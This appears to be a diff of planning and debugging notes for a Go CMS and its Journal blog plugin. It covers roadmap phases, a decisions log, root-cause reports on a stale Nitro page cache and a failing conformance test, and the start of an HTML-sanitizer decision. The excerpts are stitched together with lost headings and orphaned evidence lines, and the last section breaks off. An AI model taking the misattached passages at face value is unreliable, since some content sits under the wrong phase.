+### Phase 16.1: Journal admin urgent fixes: relation search, list state, post form content and excerpt (INSERTED)
+
+**Goal:** The Journal posts list and post form in the admin work on real imported data, found on UAT (uat.grzybyfunkcjonalne.pl/gfadmin/golem15/journal/posts): (1) list search no longer fails with "Server error" — the Go log shows `ERROR: column Categories.post_id does not exist (SQLSTATE 42703)` from summercms@v0.1.9 modules/cabana/query.go:129, i.e. search across a belongsToMany (pivot) relation builds a hasMany join; (2) list sort and filters are remembered after opening a record and going back, as WinterCMS persisted list state; (3) the post form shows the stored content (DB has content/content_html on 104/104 posts, the form shows it empty); (4) the post form shows the stored excerpt (100/104 posts have it in the DB). Fixes span summercms.go core (modules/cabana — coordinate with the concurrent session working in modules/) and sm-journal-plugin; release a summercms tag, bump the host, redeploy to UAT and re-run the staging smoke.

+
+### Phase 16.2: Plugin-provided field types and the Blog Editor formwidget (INSERTED)
+
+**Goal:** Plugins can register their own admin form field types (todo: cabana-richeditor-field-type), and the Journal plugin ships a first-class Blog Editor formwidget for post content — beyond the current markdown field or a plain rich editor — that edits imported HTML posts losslessly.

+
+### Phase 16.3: Backend admin personal API tokens with scopes (INSERTED)
+
+**Goal:** Backend users can create personal API tokens with a scope they pick at creation time (for example Journal only, or system-wide; later read-only Payment Gateway), so an agent or integration can call the admin and plugin APIs as that backend user, with no more access than the token's scope and the user's own permissions allow. This is the successor of Apparatus `PersonalApiToken` (todo `backend-admin-api-tokens.md`, note `apparatus-dissolved-into-framework.md`) and reverses the Phase 15 D-15 rule that Journal writes accept only a backend JWT.
+**Requirements**: TBD
+**Depends on:** Phase 9, Phase 10, Phase 15
+**Repos:** `summercms.go` (bouncer guard, token model and migration, scope registry, admin SPA panel, CLI); `sm-journal-plugin` to register its scope and accept tokens on its write routes; host applications only for the version bump
+**Constraints from explore (2026-10-10):**
+  - Tokens keep the `g15_` prefix and are stored only as a hash. The rest of the format can change, and WinterCMS Apparatus tokens are not migrated.
+  - The user picks the scope when creating a token. Plugins register their own scopes. Scope design (names, read-only variants, system-wide) is settled in discuss-phase.
+  - Tokens are managed in two places, as in WinterCMS: a panel on the admin SPA backend user form (create, show once, revoke) and a `summer` CLI command.
+
+**Success Criteria** (what must be TRUE):
+
+  1. The `backend` guard accepts a valid, unexpired, unrevoked `g15_` token as well as the backend JWT, and the request runs as the token's backend user.
+  2. A request outside the token's scope is refused even when the user's role would allow it, and a token never grants more than its owner's permissions.
+  3. A backend user can create, list and revoke their own tokens in the admin SPA. The plaintext token is shown once. A CLI command does the same for any backend user.
+  4. The Journal API accepts a Journal-scoped token for writes, so an agent can manage blog posts as a backend author.
+  5. Module READMEs and `docs/` cover the token API, scopes and CLI commands.
+  6. The new code has unit tests, delivered in the phase's last plan.

+**Port sources:** `Golem15.PaymentGatewaySubscriptions` at `ac3d73c` plus `5fb9dac`, and pgstripe `8b47457`, at `/media/nvme/dev/golem15/horoskopia.eu/plugins/golem15/{paymentgatewaysubscriptions,pgstripe}`. Quotify's lead fees, featured placements and analytics are not ported here.
+**Requirements**: TBD
+**Success Criteria** (what must be TRUE):
+
+  1. Subscription and SubscriptionPlan port on a squashed, idempotent v2.4.0 baseline that adopts existing PHP databases, with polymorphic subscribers registered at build time and a built-in `user` subscribable.
+  2. The `SubscriptionGateway` contract (including `syncPlanToGateway`) has a Stripe implementation. `POST /webhook/stripe/subscriptions` and its legacy alias verify the event, enqueue a job and process it idempotently, and fire the six `golem15.pgsub.*` events.
+  3. The Subscriptions and SubscriptionPlans admin screens, a Go service API, a headless customer API and subscription components in `vue-paymentgateway-layer` are delivered.
+  4. A host test proves checkout, activation, `invoice.paid`, `past_due` with its grace period, cancel and duplicate-event idempotency against a Stripe fake.

 ### Decisions
 
@@ -628,6 +644,39 @@ Recent decisions affecting current work:
 - [Phase 16]: Under routeRules swr the site app records the visitor address in event.context (Nitro request hook) and overrides useJournalApi, because Nitro's cached handler strips request headers; the proper fix belongs in vue-journal-layer
 - [Phase 16]: Site page URLs answer errors with the HTML error page even for fetch-like requests (server/plugins/html-errors.ts); /api/, /_ and .json paths keep Nuxt JSON errors
 - [Phase 16]: Site rich-text copy stays in pl.json (i18n compilation.strictMessage false); contact data lives in app/data/contact.ts
+- [Phase 16]: Plugin commands in a summer-build host open and publish the database themselves (lookupDB via lagoon); the journal import runs as grzyby:import-posts because the generated main.go publishes no DB for plugin commands
+- [Phase 16]: migrate.sh imports from a copy of the PHP export with empty translations [] arrays normalized to {}; the importer fix is deferred to sm-journal-plugin
+- [Phase 16]: The URL rehearsal gives each URL its own X-Forwarded-For visitor (203.0.113.N) so ~90 SSR pages stay under Go's 120/min per-visitor journal limit
+- [Phase 16]: The staging nginx image location declares its own types map and matches extensions case-insensitively so images keep an image type under nosniff
+- [Phase 16]: 16-04: staging keeps the UAT basic-auth gate (off for loopback via nginx geo); smoke and curl checks run on the server
+- [Phase 16]: 16-04: staging host is uat.grzybyfunkcjonalne.pl; first-journal-post skipped in the import so Go serves the 62 live posts
+- [Phase 16]: 16-04: fileblob uploads bucket uses no_tmp_dir=true because /tmp on the server is tmpfs
+- [Phase 16]: No layer util needed a fix in 16-05, so vue-journal-layer gets no v0.1.1 tag; the app keeps v0.1.0
+- [Phase 16]: The malformed-GA-id SSR test asserts the id appears only as the JSON string in window.__NUXT__.config, since Nuxt serializes public runtime config
+- [Phase 16]: The grzyby console test harness creates an ICU pl-PL database via GRZYBY_TEST_ADMIN_DSN or testcontainers and fails, not skips, without one outside -short
+- [Phase 16.1]: Relation list search uses correlated EXISTS for every relation type (no outer JOIN); to-many sort uses a correlated string_agg subquery; names come from GORM's parsed relationship
+- [Phase 16.1]: meta.enabledLocales lists the default content locale first, then the writer's order
+- [Phase 16.1]: Journal FormatHTML renders raw HTML (goldmark WithUnsafe) behind the unchanged rejectUnsafe gate
+- [Phase 16.1]: List state: URL plus per-list localStorage key summer-admin.list:<controller>, restored before the first list request, cleared on logout
+- [Phase 16.1]: 16.1-02: summercms v0.1.16 tagged on d77393b after the human chose docker-first; journal a675f2f and host cac2ee7 pushed; UAT redeployed
+- [Phase 16.1]: 16.1-02: UAT Go log checks read /var/log/supervisor/grzybyfunkcjonalne-go.log directly; supervisorctl tail fails on ANSI escapes in GORM log lines and makes grep-count checks vacuous
+- [Phase 16.1]: 16.1-02: D-01/D-03 end-of-phase UAT checks are human-reported but not independently confirmed; queued for /msd-verify-work
+- [Phase 16.1]: FormatHTML refuse tests require an error and empty result for every unsafe input: with html.WithUnsafe the gate is the only XSS defence
+- [Phase 16.2]: pact.FormFieldType.ListValue is func(ctx context.Context, value any) string (human adjust at the 16.2-01 checkpoint); plans 03, 05 and 06 use the ctx form
+- [Phase 16.2]: Plugin field type registry is built per Activate by compileFieldTypes and passed down the compile functions; existing compile functions stay nil-registry wrappers
+- [Phase 16.2]: Only pact.FormFieldError from a plugin field type's Decode or Upload is a 422; every other plugin error, Load included, is the opaque 500
+- [Phase 16.2]: Untouched plugin field values are skipped on update by canonical encoding/json comparison with the served value (stored value through Load), per field and locale
+- [Phase 16.2]: TipTap 3.31.4 pinned exactly for all five editor packages after the human package check (packages approved)
+- [Phase 16.2]: Blog Editor bundle built through the Vite application pipeline (single ES entry, fixed names, exports kept) because library mode never minifies ES whitespace
+- [Phase 16.2]: Blog Editor link parsing, rendering and commands use isPolicyUrl (http, https, mailto, relative); on* attributes are never captured; external values load outside the undo history
+- [Phase 16.2]: Uncaptioned editor images are inline (<p><img></p>); captioned ones are figure with figureImage and figcaption
+- [Phase 16.2]: Plan 03: the Journal HTML policy needed exactly the four editor-output rules (figure data-embed/data-id, img alt, ol start); the corpus showed no fifth
+- [Phase 16.2]: Plan 03: editor uploads must sniff as a JPEG/PNG/GIF/WebP type matching the extension; uniqueMediaKey errors instead of overwriting when all numbered names are taken
+- [Phase 16.2]: Plan 03: admin saves of post content write the Decode output to content and content_html per written locale (FormBefore*/FormAfter* hooks), no goldmark; category 422 gate retired
+- [Phase 16.2]: 16.2-04: vue-journal-layer mirrors exactly the four Go editor-output rules; embeds expand only at the v-html sinks, after sanitizeJournalHtml
+- [Phase 16.2]: 16.2-04: vue-journal-layer v0.2.0 published (tag 042b65d0 -> 759e684e, human reply "push"); vue-grzybyfunkcjonalne-app main 465286a pins it; a defect gets v0.2.1

+goal: find_root_cause_only
+---
+
+## Current Focus
+
+hypothesis: CONFIRMED (H3) — the host Nuxt app's Nitro swr route cache (`routeRules '/**': { swr: 300 }`) served /cordyceps rendered at 14:59:08 UTC, before the first save; every check the user made (14:59:52–15:00:30) was inside the 300 s fresh window, so Nitro returned that entry without revalidating, and nothing purges it on admin save. The save, the DB and the API are correct.
+test: done — DB SELECTs, API GET, two Nuxt GETs straddling a lazy revalidation, nginx access log timeline, deployed nitro.mjs cache code
+expecting: n/a
+next_action: return ROOT CAUSE FOUND (goal: find_root_cause_only); the gap is a cache-window/UAT-procedure issue, plus a product decision whether editors need instant visibility (purge on save)
+bug_class: Bohrbug (deterministic: any page view within maxAge of the last render returns the cached entry; the first view after expiry returns it too)
+reasoning_checkpoint:
+  hypothesis: "The site showed the old text because Nitro's swr route cache for /** (maxAge 300 s, swr: true, in-memory) held a /cordyceps render from 14:59:08 UTC; all the user's post-save views (last at 15:00:30) were before that entry expired at 15:04:08, and Nitro only re-renders an entry when a request arrives after expiry (serving the stale copy to that request). No code path invalidates the entry when the admin saves."
+  confirming_evidence:
+    - "DB row 2 and GET /_journal/api/v1/categories return the new text with identical md5 4053158bd1a58eb7f9547c18cb5a1724"
+    - "127.0.0.1:3016/cordyceps at 15:24:01: last-modified 14:59:08, old text; at 15:25:00: last-modified 15:24:01, new text"
+    - "nginx access log: render 14:59:08, PUTs 14:59:48–15:00:27, user views 14:59:52–15:00:30 all 13269 bytes or 304, no further views until 15:23"
+    - "deployed nitro.mjs: /** cache { swr: true, maxAge: 300 }; get() returns the unexpired entry without resolving and the expired entry stale-first"
+  falsification_test: "If a /cordyceps GET more than 300 s after the save, followed by a second GET, still returned the old text, or the access log showed a user view after 15:04:08 that returned old content and a later one that also did, the hypothesis would be wrong. Observed: post-expiry GET pair returned old then new, exactly as predicted."
+  fix_rationale: "Not applicable (diagnose only). Any fix must either shorten/bypass the cache for editors or invalidate the Nitro cache entry on save; changing the 16.2 save path cannot help, because the save is already correct."
+  blind_spots: "I did not observe the user's browser directly (no client-side cache test), but the access log shows their requests reaching Nuxt and getting the cached body. The swr cache key for _payload.json follows the same rule and was not separately timed. I did not verify whether the 7 PUTs each changed content (only the final state matters)."
+  candidate_causes:
+    - "config: Nitro routeRules swr 300 s with no purge on save (CONFIRMED)"
+    - "code: save writes a different column/locale than the API reads (ELIMINATED — one column, no translation rows)"
+    - "code: Go API caches or returns a stale field (ELIMINATED — API md5 == DB md5)"
+    - "environment: nginx proxy_cache (ELIMINATED — none; reproduced on 127.0.0.1:3016)"
+    - "environment: broken swr revalidation (ELIMINATED — refresh observed at 15:24:01, no SWR errors logged)"
+    - "data: phrase rendered from elsewhere (ELIMINATED — grep of app/layer/build/posts)"
+    - "process: UAT step 'the site shows the change' omits the swr window (CONTRIBUTING)"
+  and_gate: "yes — the visible failure needed the swr cache with no invalidation AND the user viewing the page only within the 300 s window of a render made just before the edit (their own 14:59:08 view). With either one absent (no cache, or a second view after 15:04:08) the change would have shown."
+
+## Symptoms
+
+expected: changing one word in a Journal category body in the admin and saving shows no removal notice, and the public site shows the change (Phase 16.2 D-19)
+actual: the save persisted (admin shows "Te grzyby, a szczególnie" after reload), no error reported, but the public Nuxt site still shows "Te grzyby, szczególnie"
+errors: none reported
+reproduction: UAT Test 2 — edit category 2 body at https://uat.grzybyfunkcjonalne.pl/gfadmin/golem15/journal/categories/2, save, view the public category page
+started: discovered during Phase 16.2 UAT, edit made ~2026-10-10 17:00 CEST
+
+## Eliminated
+
+- hypothesis: H1 — two columns or a translation row: the admin saves one column/locale and the site renders another that is not regenerated
+  evidence: golem15_journal_categories has a single `content` column (no content_html); row 2 updated_at 2026-10-10 15:00:27.94 UTC holds "Te grzyby, a szczególnie" at char 589 and no old phrase; golem15_translate_attributes/indexes have no category rows (only 4 Post rows); en locale is disabled
+  timestamp: 2026-10-10T15:22Z
+
+- hypothesis: H2 — the public Journal API returns old content (server-side cache in Go, or a different field)
+  evidence: GET http://127.0.0.1:8096/_journal/api/v1/categories?include_empty=1 on the UAT host at 15:24:13 UTC returns category 2 content with "Te grzyby, a szczeg" at 577, no old phrase, md5 4053158bd1a58eb7f9547c18cb5a1724 == DB md5(content); no cache headers
+  timestamp: 2026-10-10T15:24Z
+
+- hypothesis: H3 variant — the Nitro swr cache is broken (background revalidation errors or hangs, so the entry never refreshes)
+  evidence: the first GET after expiry (15:24:01) triggered a refresh; the next GET (15:25:00) carried last-modified 15:24:01 and the new text; no `[cache] SWR handler error` in /var/log/supervisor/grzybyfunkcjonalne-nuxt.log
+  timestamp: 2026-10-10T15:25Z
+
+- hypothesis: H3 variant — an nginx proxy cache serves stale pages
+  evidence: sites-enabled/uat.grzybyfunkcjonalne.pl has no proxy_cache; the stale page reproduced against 127.0.0.1:3016 directly (bypassing nginx)
+  timestamp: 2026-10-10T15:24Z
+
+- hypothesis: H4 — the old text is rendered from somewhere else (hardcoded, another category, a post excerpt)
+  evidence: no match for the old phrase in the app, the layer, the deployed .output or any post column; it was only in category 2 content, and the refreshed render shows the new phrase
+  timestamp: 2026-10-10T15:29Z
+
+## Evidence
+
+- timestamp: 2026-10-10T15:22Z
+  checked: UAT DB, SELECT on golem15_journal_categories (all rows) and golem15_translate_* for category model types
+  found: category 2 (cordyceps) content md5 4053158bd1a58eb7f9547c18cb5a1724, length 13903, updated_at 15:00:27.940875 UTC, new phrase present, old phrase absent; no translation rows for categories
+  implication: the save persisted the edit in the only column the API reads; the stale copy is downstream of the DB
+
+- timestamp: 2026-10-10T15:23Z
+  checked: nginx site uat.grzybyfunkcjonalne.pl (sites-enabled) and the host Nuxt app nuxt.config.ts
+  found: nginx has no proxy_cache; `/` proxies to Nuxt on 127.0.0.1:3016. nuxt.config.ts routeRules `'/**': { swr: 300 }, '/blog/**': { swr: 120 }` (Nitro route cache on the Node server); category pages are at `/:category` (so /cordyceps falls under `/**` swr 300)
+  implication: Nitro's swr route cache is the only HTTP cache between the API and the browser
+
+- timestamp: 2026-10-10T15:24Z
+  checked: curl -D - http://127.0.0.1:3016/cordyceps on the UAT host (bypasses nginx/basic auth)
+  found: 200, `last-modified: Sat, 10 Oct 2026 14:59:08 GMT`, `cache-control: s-maxage=300, stale-while-revalidate`, body contains the OLD "Te grzyby, szczególnie Cordyceps sine"
+  implication: Nuxt serves a page rendered 79 s BEFORE the save, 25 min after it — far past the 300 s swr TTL. The cache entry is not being refreshed (H3 territory), or a refresh re-renders from stale data
+
+- timestamp: 2026-10-10T15:24Z
+  checked: vue-journal-layer app/journal-pages/CategoryPage.vue, app/utils/client.ts, app/composables/useJournalApi.ts and the host override sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/composables/useJournalApi.ts
+  found: the category page resolves the slug via GET /categories?include_empty=1 and renders found.content through sanitizeJournalHtml; the server fetcher is a plain $fetch to runtimeConfig.journal.apiBase with no cachedFunction/useStorage/getCachedData
+  implication: no data-level cache in the layer or app; the only cache is the Nitro route (swr) cache around the page renderer
+
+- timestamp: 2026-10-10T15:25Z
+  checked: second curl of http://127.0.0.1:3016/cordyceps on the UAT host, 59 s after the 15:24:01 request (also /, /blog, /lions-mane)
+  found: /cordyceps now `last-modified: Sat, 10 Oct 2026 15:24:01 GMT` and the body contains the NEW "Te grzyby, a szczególnie"; /lions-mane last-modified 12:40:55, / 14:37:04, /blog 12:40:53 (entries only move when visited after expiry)
+  implication: revalidation works; it is lazy. My 15:24:01 GET (first request after expiry) was served the stale page and triggered the background re-render; the next request got the fresh page. Nothing was broken in the render/refresh path at 15:24
+
+- timestamp: 2026-10-10T15:26Z
+  checked: nginx access log /var/log/nginx/grzybyfunkcjonalne-uat-access.log, 14:00–15:25 UTC, requests to /cordyceps and the categories admin API
+  found: 14:59:08 GET /cordyceps 200 13320 (the user's pre-edit view; cache entry mtime = 14:59:08, fresh until 15:04:08). PUT /gfadmin/api/v1/golem15/journal/categories/2 x7 at 14:59:48, 14:59:57, 15:00:06, 15:00:13, 15:00:16, 15:00:23, 15:00:27 (all 200). GET /cordyceps at 14:59:52, 14:59:53 (304), 14:59:54 (304), 14:59:55 (304), 15:00:00 x2, 15:00:07–15:00:09 x6, 15:00:30 — every one 200 13269 or 304 (same etag). No /cordyceps request between 15:00:30 and my 15:23:42 one
+  implication: every page view the user made after saving fell inside the 300 s fresh window of the entry rendered at 14:59:08, so Nitro returned it without even scheduling a revalidation; identical 13269-byte bodies and 304s confirm one cached entry was served throughout
+
+- timestamp: 2026-10-10T15:27Z
+  checked: deployed /srv/grzybyfunkcjonalne/nuxt/.output/server/chunks/nitro/nitro.mjs (defineCachedFunction get(), routeRules, storage mounts)
+  found: routeRules `/**` → `cache: { swr: true, maxAge: 300 }`, `/blog/**` → maxAge 120. get(): `expired = ... ttl && Date.now() - entry.mtime > ttl`; not expired → returns the entry, no resolve; expired + swr → returns the stale entry and re-renders in the background (event.waitUntil). Cache storage is the root in-memory driver (only `data` is mounted to fsLite). Nuxt log has no `[cache] SWR handler error`
+  implication: the observed behaviour is exactly Nitro swr semantics: an edit becomes visible only after the TTL has expired AND one request has triggered the re-render, i.e. on the second visit after expiry; worst case is unbounded in wall time for a page nobody visits, best case is ~300 s + one throwaway load
+
+- timestamp: 2026-10-10T15:28Z
+  checked: grep for purge/revalidate/invalidate/swr in sm-journal-plugin, vue-journal-layer, sm-grzybyfunkcjonalne-app; planning docs (16-CONTEXT D-07, DEPLOY.md, host README, 16.2-VERIFICATION)
+  found: no cache purge or invalidation hook anywhere (Go save path does not notify Nuxt; Nuxt exposes no purge route). Phase 16 D-07 chose swr deliberately ("a newly published post shows up without a rebuild"), TTLs were Claude's discretion; host README: "a newly published post appears within the TTL"; DEPLOY.md: "The Nuxt page caches (swr) expire by themselves." 16.2-VERIFICATION human item (line 39/211) and the UAT step say "the site shows the change" with no mention of the cache window
+  implication: the staleness is designed behaviour of the Phase 16 host app, not a 16.2 regression; the UAT step omitted the wait, and there is no editor-facing way to see an edit immediately
+
+- timestamp: 2026-10-10T15:29Z
+  checked: grep for "Te grzyby, szczeg" in the host app (app/, i18n/), vue-journal-layer (app/, i18n/), the deployed Nuxt .output, and golem15_journal_posts content/content_html/excerpt
+  found: no matches anywhere; the phrase exists only in category 2 content (now edited)
+  implication: H4 eliminated — the old text on the site came from the category content in the cached render
+
+## Resolution
+
+root_cause: "Not a 16.2 save defect. The save, the DB row and the Journal API all carry the edit. The host app's Nitro swr route cache (vue-grzybyfunkcjonalne-app nuxt.config.ts routeRules '/**': { swr: 300 }, deployed as cache { swr: true, maxAge: 300 }, in-memory) served /cordyceps rendered at 14:59:08 UTC. That render came from the user's own pre-edit view, 40 s before the first PUT (14:59:48). Every post-save view (14:59:52 to 15:00:30) fell inside the entry's 300 s fresh window (to 15:04:08), and Nitro returns an unexpired entry without revalidating. Nothing invalidates the entry on admin save: there is no purge hook in sm-journal-plugin, vue-journal-layer or the host app. After expiry, the first view still gets the stale copy and triggers the re-render, so an edit shows only on the second view more than 300 s after the last render. Contributing: the 16.2 UAT/VERIFICATION step 'the site shows the change' does not account for the Phase 16 D-07 swr window."

+
+## Current Focus
+
+hypothesis: CONFIRMED — the postgres stage is red for two code defects, both written in 16.2 and both hidden because the checks only run in Docker-only test binaries that never ran before UAT: (1) two 16.2 admin routes have no conformCase in TestPhase10OpenAPIConformance; (2) sm-journal-plugin TestJournalSVGEmbed still asserts post content `type: mlmarkdown` after 16.2-03 changed it to `mlblogeditor`.
+test: done — static diff, 3x direct repro, full cabana and Journal postgres-stage runs on this Docker host
+expecting: n/a
+next_action: return ROOT CAUSE FOUND (goal: find_root_cause_only); plan-phase --gaps owns the fix
+bug_class: Bohrbug (deterministic; Go map iteration only changes WHICH of the two missing keys line 418 reports first)
+reasoning_checkpoint:
+  hypothesis: "TestPhase10OpenAPIConformance fails because cabana.AdminAPIRoutes() (phase09Routes non-spa keys) has 56 entries and the conformCase list 54: GET /field-types and POST /{vendor}/{plugin}/{controller}/{id}/fields/{field}/upload, both added to the inventory in 16.2-01, have no case; once fixed, the same stage fails next on TestJournalSVGEmbed because it asserts `type: mlmarkdown` in models/post/fields.yaml, which 16.2-03 replaced with `type: mlblogeditor`."
+  confirming_evidence:
+    - "static diff of security_coverage_test.go phase09Routes vs conformCase keys: uncovered = [GET /field-types, POST .../fields/{field}/upload]; not-inventoried = []"
+    - "go test -count=3 -run '^TestPhase10OpenAPIConformance$' ./modules/cabana: FAIL 3/3, line 418 reports upload, field-types, upload"
+    - "Journal `go test -json -count=1 ./...` on this Docker host: only failure is TestJournalSVGEmbed, plugin_test.go:123 'post fields.yaml content is not mlmarkdown'; fields.yaml line 19 is `type: mlblogeditor` since fbd1c85"
+    - "cabana with -skip TestPhase10OpenAPIConformance: package PASS, 291 top-level tests, TestFieldTypeSavePostgres and TestListRelationSearchPostgres PASS with real Postgres queries in the output"
+  falsification_test: "If adding conformCases for exactly those two keys (and fixing the mlmarkdown assertion) still left the postgres stage red, or if the inventory/case diff showed a third key, the hypothesis would be incomplete."
+  fix_rationale: "Adding the two cases satisfies the exhaustiveness invariant and checks the real responses against admin.json (FieldTypesResponse, Envelope-cabana_FieldUploadResponse); updating the stale Journal assertion aligns it with the intended 16.2 field type. Separating the static inventory check from the Docker setup closes the masking path."
+  blind_spots: "The conformance cases themselves have not been written, so it is unverified that the fixture-backed responses decode cleanly with DisallowUnknownFields (e.g. FieldTypesResponse meta is `{}` from WriteData, which decodes into SuccessMeta; the upload case needs a conform plugin field type with Upload). Admin/editor/layer/docs stages were not re-run in this session."
+  candidate_causes:
+    - "code: missing conformCase entries for the two 16.2 routes (CONFIRMED)"
+    - "code: stale TestJournalSVGEmbed assertion vs the intended mlblogeditor change (CONFIRMED)"
+    - "environment: no Docker on the 16.2 execution host, so every testcontainers binary failed on docker.sock and was waved through as 'Docker-only' (CONFIRMED contributing)"
+    - "config/process: gate go stage FRAMEWORK_RUN omits TestPhase10OpenAPIConformance; the static inventory check runs after newConformEnv -> adminGorm; 16.2-01 PLAN/PATTERNS name phase09Routes + admin_openapi.go but not openapi_conformance_test.go (CONFIRMED contributing)"
+    - "data/environment: container start failure or flaky Postgres (ELIMINATED — containers start, 291 cabana + 66 Journal top-level tests pass)"
+  and_gate: "yes — the UAT failure needed the code defects AND the masking (static checks reachable only through testcontainers, no Docker during execution, go stage regex omits the test). Either code defect alone turns the stage red; the masking is why neither was caught before UAT."
+
+## Symptoms
+
+expected: `bash scripts/check-phase16.2.sh postgres` passes on a Docker host (cabana testcontainers suites incl. TestFieldTypeSavePostgres; Journal admin harness in ../sm-journal-plugin incl. TestPostsAdminResaveKeepsHTML, TestPostsAdminSaveSanitizesHTML, TestCategoriesAdminContent, TestCategoriesAdminBlogEditor)
+actual: run 2026-10-10 16:57 CEST on a Docker host, the stage fails in ./modules/cabana: `--- FAIL: TestPhase10OpenAPIConformance` — `openapi_conformance_test.go:418: admin route GET /field-types has no conformance case`. The script stops there; the Journal Postgres suites never ran.
+errors: openapi_conformance_test.go:418: admin route GET /field-types has no conformance case
+reproduction: bash scripts/check-phase16.2.sh postgres (UAT Test 1)
+started: Phase 16.2 (GET /field-types added in 16.2; discovered during UAT)
+
+## Eliminated
+
+- hypothesis: the postgres stage fails because of Docker/testcontainers environment problems (container start, timeouts)
+  evidence: in the UAT log the cabana package ran 90s and only TestPhase10OpenAPIConformance failed; in this session cabana (skip conformance) passed 291 top-level tests in 77s and the Journal run passed every package but root, with real SQL in the logs
+  timestamp: 2026-10-10T17:21:00+02:00
+
+- hypothesis: only GET /field-types is missing a conformance case
+  evidence: the inventory/case diff shows POST /{vendor}/{plugin}/{controller}/{id}/fields/{field}/upload is uncovered too; `go test -count=3` reported the upload key in runs 1 and 3 and field-types in run 2
+  timestamp: 2026-10-10T17:24:00+02:00
+
+- hypothesis: the gap in the Journal suites is limited to the cabana abort (they would pass once cabana is green)
+  evidence: running the Journal stage command directly fails on TestJournalSVGEmbed (stale mlmarkdown assertion), which is in PG_JOURNAL_REQUIRE
+  timestamp: 2026-10-10T17:20:00+02:00

+  implication: the only failing cabana test in that run was the conformance test; run_postgres aborts (set -e) before the Journal go_json call
+
+- timestamp: 2026-10-10T17:15:00+02:00
+  checked: modules/cabana/openapi_conformance_test.go:129-450
+  found: TestPhase10OpenAPIConformance calls newConformEnv(t) FIRST (line 130), then builds the conformCase list, then requires covered == inventory where inventory = cabana.AdminAPIRoutes() (export_test.go: every non-spa phase09Routes key). Missing key -> t.Fatalf at line 418 inside a `for key := range inventory` map loop (random order, so only the first missing key found is reported).

+  implication: a convention ("new admin route => conformCase") that held before 16.2 was missed in 16.2-01
+
+- timestamp: 2026-10-10T17:19:00+02:00

VERIFICATION marks the postgres stage "? SKIP (human item 1)".
+  implication: the conformance failure was hidden inside the blanket "Docker-only failure" bucket; nobody ran cabana's testcontainers suites before UAT
+
+- timestamp: 2026-10-10T17:20:00+02:00
+  checked: scripts/check-phase16.2.sh go stage
+  found: FRAMEWORK_RUN regex lists TestPhase09ContractInventory and TestPhase09PermissionMatrix (static, both pass: they compare the mount with phase09Routes and admin.json paths) but NOT TestPhase10OpenAPIConformance; the go stage runs with -run "$FRAMEWORK_RUN" so the conformance test never runs there. The postgres stage runs the whole ./modules/cabana package and is the only stage that reaches it.
+  implication: no non-Docker gate covers the inventory-vs-conformance-case invariant
+
+- timestamp: 2026-10-10T17:21:00+02:00
+  checked: admin/openapi/admin.json for both routes; modules/cabana/admin_openapi.go:264-276; field_type.go:834-871; contracts.go:245
+  found: GET /field-types 200 documents $ref cabana.FieldTypesResponse ({data: []cabana.FieldTypeAssets, meta: cabana.SuccessMeta}, all of name/element/translatable/scripts/styles required); the handler writes WriteData(200, []FieldTypeAssets, nil) => {"data":[...],"meta":{}}. POST .../fields/{field}/upload 201 documents cabana.Envelope-cabana_FieldUploadResponse ({data:{url}, meta}); multipart part named "file". conformPlugin (openapi_conformance_test.go:818-843) does NOT implement pact.HasFormFieldTypes and the gadget fields.yaml has no plugin-typed field.
+  implication: a GET /field-types case can decode into cabana.FieldTypesResponse with ref "cabana.FieldTypesResponse" today (empty list); a meaningful case and any upload case need the conform fixture to register a plugin field type (with Upload, scripts) and a gadget field of that type
+

+  found: summercms.go adds exactly two routes: g.Get("/field-types") and g.Post("/{vendor}/{plugin}/{controller}/{id}/fields/{field}/upload"). sm-journal-plugin adds none (editor uploads go through the cabana route).
+  implication: the conformance gap is exactly those two routes; no other 16.2 route is missing a case

The root package TestMain needs testcontainers, so the test never ran on the no-Docker 16.2 execution host (16.2-02-SUMMARY line 263/278/293).

+## Resolution
+
+root_cause: "(1) Phase 16.2-01 added GET /field-types (717d46e) and POST /{vendor}/{plugin}/{controller}/{id}/fields/{field}/upload (8fa92db) to the admin route inventory (phase09Routes) and admin.json but added no conformCase to TestPhase10OpenAPIConformance (modules/cabana/openapi_conformance_test.go), whose exhaustiveness check (line 416-419) fails on whichever of the two it meets first; (2) sm-journal-plugin TestJournalSVGEmbed (plugin_test.go:122-123, in PG_JOURNAL_REQUIRE) still asserts `type: mlmarkdown` in models/post/fields.yaml after 16.2-03 (fbd1c85) changed post content to `type: mlblogeditor`; (3) contributing: both checks are static but live in testcontainers-only binaries (newConformEnv -> adminGorm runs before the inventory check; the Journal root TestMain starts Postgres), the 16.2 execution host had no Docker and the summaries filed every cabana/Journal-root failure as docker.sock noise, check-phase16.2.sh's go-stage FRAMEWORK_RUN omits TestPhase10OpenAPIConformance, and the 16.2-01 PLAN/PATTERNS route checklist omitted openapi_conformance_test.go."

+suggested_fix_direction: |
+  - Add two conformCases. GET /field-types: status 200, ref "cabana.FieldTypesResponse", decode into[cabana.FieldTypesResponse](); register a plugin field type on the conform fixture (conformPlugin implements pact.HasFormFieldTypes; element under its widget tag prefix; a script already in conformFS) so the list is non-empty and the ?v= asset URL can be checked with assertPluginAsset. POST .../fields/{field}/upload: status 201, ref "cabana.Envelope-cabana_FieldUploadResponse", decode into[cabana.Envelope[cabana.FieldUploadResponse]](); a gadget fields.yaml field of that alias whose type has Upload, multipart part named "file", sent with requireAjax headers. Mind that a plugin-typed field on the gadget form also runs Decode/Load in the existing create/update/show cases — make them benign or give conformGadget a column for it.
+  - Fix TestJournalSVGEmbed to assert the intended `type: mlblogeditor` (optionally htmlColumn: content_html) for post content.
+  - Recurrence guard: split the static inventory check out of the Docker setup (e.g. move `env := newConformEnv(t)` after the coverage loop, or a package-level conformCaseKeys + a Docker-free TestPhase10ConformanceInventory) and add it to FRAMEWORK_RUN in check-phase16.2.sh (and later gates); add openapi_conformance_test.go to the "new admin route" checklist next to phase09Routes and admin_openapi.go.

+# Decision: bluemonday sanitizes journal post HTML
+
+**Date:** 2026-10-09  
+**Status:** Accepted (fixes Phase 16.1 code review CR-01 and WR-01)  
+**Supersedes:** the three-regex `rejectUnsafe` gate in `sm-journal-plugin/classes/format_html.go` and the Phase 16.1 threat-register claim T-16.1-02
+
+## Decision
+
+`sm-journal-plugin` adds `github.com/microcosm-cc/bluemonday` v1.0.27 (the latest tag; the repository is not archived and has had no release since July 2024). `classes.FormatHTML` renders markdown with goldmark `html.WithUnsafe()` as before, then sanitizes the result with a package-level bluemonday policy. The plugin also imports `golang.org/x/net/html` directly. It was already in the build through bluemonday and the framework.
+
+The policy is `bluemonday.UGCPolicy()` with these changes, each taken from goldmark's own output or from the posts and categories on the UAT database:
+
+| Change | Why |
+|---|---|
